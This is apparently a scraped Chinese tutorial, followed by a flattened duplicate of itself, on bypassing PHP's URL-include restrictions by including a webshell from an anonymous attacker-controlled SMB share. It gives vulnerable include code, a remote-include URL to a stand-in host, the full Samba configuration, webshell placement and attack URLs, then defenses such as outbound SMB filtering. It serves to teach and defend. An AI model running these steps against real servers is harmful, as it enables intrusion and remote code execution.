RFI绕过URL包含限制Getshell
字数 1151 2025-08-18 11:38:37

绕过URL包含限制实现RFI Getshell技术分析

1. RFI漏洞基础

1.1 文件包含漏洞原理

PHP中最危险的漏洞函数类别之一就是文件包含类函数,包括:

  • include
  • include_once
  • require
  • require_once

当这些函数使用$_GET或其他未经过滤的变量时,就构成了主要的安全风险。

1.2 典型漏洞代码示例

<?php
$file = $_GET['file'];
include($file);
?>

在这个代码中:

  • file参数直接从GET请求获取
  • 用户可完全控制该参数值
  • 参数未经任何处理直接带入PHP文件

1.3 传统RFI攻击方式

攻击者可以构造如下请求:

http://example.com/?file=http://hacker.com/shell.php

前提条件

  • php.ini中设置:
    allow_url_fopen=on
    allow_url_include=on
    

2. 绕过URL包含限制的技术

2.1 传统限制的缺陷

即使将以下两项设置为"Off":

allow_url_fopen=off
allow_url_include=off

PHP仍然不会阻止SMB URL的加载,这为绕过提供了可能。

2.2 SMB共享文件访问原理

攻击场景:

  1. 存在漏洞的PHP应用尝试从攻击者控制的SMB共享加载PHP webshell
  2. SMB共享需配置匿名浏览访问权限
  3. 漏洞应用访问时,SMB服务器不要求凭据
  4. 应用成功包含webshell的PHP代码

3. 攻击实施步骤

3.1 环境准备

被攻击主机配置

  • 确保php.ini中:
    allow_url_fopen=off
    allow_url_include=off
    
  • 通过phpinfo()验证配置是否生效

3.2 搭建SMB服务器(Linux)

  1. 安装SAMBA服务器:

    apt-get install samba
    
  2. 创建共享目录:

    mkdir /var/www/html/pub/
    
  3. 设置目录权限:

    chmod 0555 /var/www/html/pub/
    chown -R nobody:nogroup /var/www/html/pub/
    
  4. 配置SMB服务:

    echo > /etc/samba/smb.conf
    
  5. 编辑/etc/samba/smb.conf内容:

    [global]
    workgroup = WORKGROUP
    server string = Samba Server %v
    netbios name = indishell-lab
    security = user
    map to guest = bad user
    name resolve order = bcast host
    dns proxy = no
    bind interfaces only = yes
    
    [ethan]
    path = /var/www/html/pub
    writable = no
    guest ok = yes
    guest only = yes
    read only = yes
    directory mode = 0555
    force user = nobody
    
  6. 重启SMB服务:

    service smbd restart
    

3.3 准备Webshell

在共享目录中放置webshell文件:

  • /var/www/html/pub/ant.php (一句话木马)
  • /var/www/html/pub/poc.php (大马)

3.4 发起攻击

  1. 通过浏览器访问:

    http://127.0.0.1:8888/rfi.php?file=\\192.168.23.129\ethan\poc.php
    
  2. 使用中国蚁剑等工具连接一句话木马:

    http://127.0.0.1:8888/rfi.php?file=\\192.168.23.129\ethan\ant.php
    

4. 防御措施

  1. 禁用危险函数

    • 在php.ini中禁用allow_url_includeallow_url_fopen
    • 但需注意这不能完全防御SMB共享攻击
  2. 输入过滤

    • 对所有用户输入进行严格过滤
    • 使用白名单机制限制包含的文件
  3. 服务器配置

    • 限制出站SMB连接
    • 配置防火墙规则阻止不必要的SMB流量
  4. 代码审计

    • 检查所有文件包含操作
    • 确保不使用未经验证的用户输入作为包含路径
  5. 文件权限

    • 确保Web目录不可写
    • 限制敏感目录的访问权限

5. 技术总结

这种绕过技术的关键点在于:

  • 利用PHP对SMB协议的特殊处理
  • 即使禁用URL包含,SMB共享仍可被利用
  • 需要配置匿名访问的SMB服务器
  • 攻击效果与传统RFI相同,但绕过了一些常见防御措施

此技术突破了传统安全思维的限制,展示了安全研究人员需要不断拓宽视野,才能发现和防御各种意想不到的攻击方式。

绕过URL包含限制实现RFI Getshell技术分析 1. RFI漏洞基础 1.1 文件包含漏洞原理 PHP中最危险的漏洞函数类别之一就是文件包含类函数,包括: include include_ once require require_ once 当这些函数使用 $_GET 或其他未经过滤的变量时,就构成了主要的安全风险。 1.2 典型漏洞代码示例 在这个代码中: file 参数直接从GET请求获取 用户可完全控制该参数值 参数未经任何处理直接带入PHP文件 1.3 传统RFI攻击方式 攻击者可以构造如下请求: 前提条件 : php.ini中设置: 2. 绕过URL包含限制的技术 2.1 传统限制的缺陷 即使将以下两项设置为"Off": PHP仍然不会阻止SMB URL的加载,这为绕过提供了可能。 2.2 SMB共享文件访问原理 攻击场景: 存在漏洞的PHP应用尝试从攻击者控制的SMB共享加载PHP webshell SMB共享需配置匿名浏览访问权限 漏洞应用访问时,SMB服务器不要求凭据 应用成功包含webshell的PHP代码 3. 攻击实施步骤 3.1 环境准备 被攻击主机配置 : 确保php.ini中: 通过 phpinfo() 验证配置是否生效 3.2 搭建SMB服务器(Linux) 安装SAMBA服务器: 创建共享目录: 设置目录权限: 配置SMB服务: 编辑 /etc/samba/smb.conf 内容: 重启SMB服务: 3.3 准备Webshell 在共享目录中放置webshell文件: /var/www/html/pub/ant.php (一句话木马) /var/www/html/pub/poc.php (大马) 3.4 发起攻击 通过浏览器访问: 使用中国蚁剑等工具连接一句话木马: 4. 防御措施 禁用危险函数 : 在php.ini中禁用 allow_url_include 和 allow_url_fopen 但需注意这不能完全防御SMB共享攻击 输入过滤 : 对所有用户输入进行严格过滤 使用白名单机制限制包含的文件 服务器配置 : 限制出站SMB连接 配置防火墙规则阻止不必要的SMB流量 代码审计 : 检查所有文件包含操作 确保不使用未经验证的用户输入作为包含路径 文件权限 : 确保Web目录不可写 限制敏感目录的访问权限 5. 技术总结 这种绕过技术的关键点在于: 利用PHP对SMB协议的特殊处理 即使禁用URL包含,SMB共享仍可被利用 需要配置匿名访问的SMB服务器 攻击效果与传统RFI相同,但绕过了一些常见防御措施 此技术突破了传统安全思维的限制,展示了安全研究人员需要不断拓宽视野,才能发现和防御各种意想不到的攻击方式。